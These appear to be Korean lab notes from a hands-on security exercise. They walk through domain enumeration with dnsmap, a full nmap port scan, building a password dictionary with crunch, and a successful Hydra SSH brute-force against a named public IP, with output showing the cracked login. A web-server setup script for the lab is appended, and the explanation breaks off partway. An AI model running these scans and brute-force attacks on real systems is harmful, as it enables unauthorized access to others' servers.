1. 패키지 설치 apt-get update apt-get install dnsmap apt-get install nmap apt-get install crunch apt-get install hydra 2. 도메인 조회 dnsmap nct-seoul.com 3. 포트 스캔 nmap -p 1-65535 -T4 -A -v 지정된IP 4. ‘패스워드 사전’ 생성 crunch 4 4 1234 -o dic.txt root@hacker01:~# more dic.txt 1111 1112 1113 1114 1121 1122 1123 1124 1131 1132 1133 5. 패스워드 접속 대입 공격 hydra -t 4 -l test -P dic.txt 서버공인ip(타깃Target_IP) ssh hydra -t 4 -l test -P dic.txt 211.188.53.97 ssh [DATA] attacking ssh://211.188.53.97:22/ [22][ssh] host: 211.188.53.97 login: test password: 1234 1 of 1 target successfully completed, 1 valid password found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-10-26 13:41:59 root@hacker01:~# hydra -t 4 -l test -P dic.txt 211.188.53.97 ssh hydra → THC-Hydra라는 툴(병렬 로그인 시도/브루트포스 도구)을 실행한다는 명령어 이름입니다. -t 4 → 동시에 실행할 작업(task, 스레드)의 수를 4개로 설정합니다(동시 접속 시도 수). -l test 6 agame-kr1-web-script #!/bin/bash Wget -O /etc/yum.repos.d/Rocky-Extras.repo http://init.ncloud.com/server/linux/repo/rocky8/Rocky-Extras.repo yum clean all yum -y install httpd php mariadb-server php-mysqlnd sleep 60 cd /var/www/html wget https://kr.object.ncloudstorage.com/ncp-manual/handson/lab.tgz tar xvfz lab.tgz /usr/bin/cp -rf php.conf /etc/httpd/conf.d/php.conf /usr/bin/cp -rf www.conf /etc/php-fpm.d/www.conf systemctl enable mariadb systemctl enable httpd systemctl enable php-fpm systemctl start mariadb systemctl start httpd systemctl start php-fpm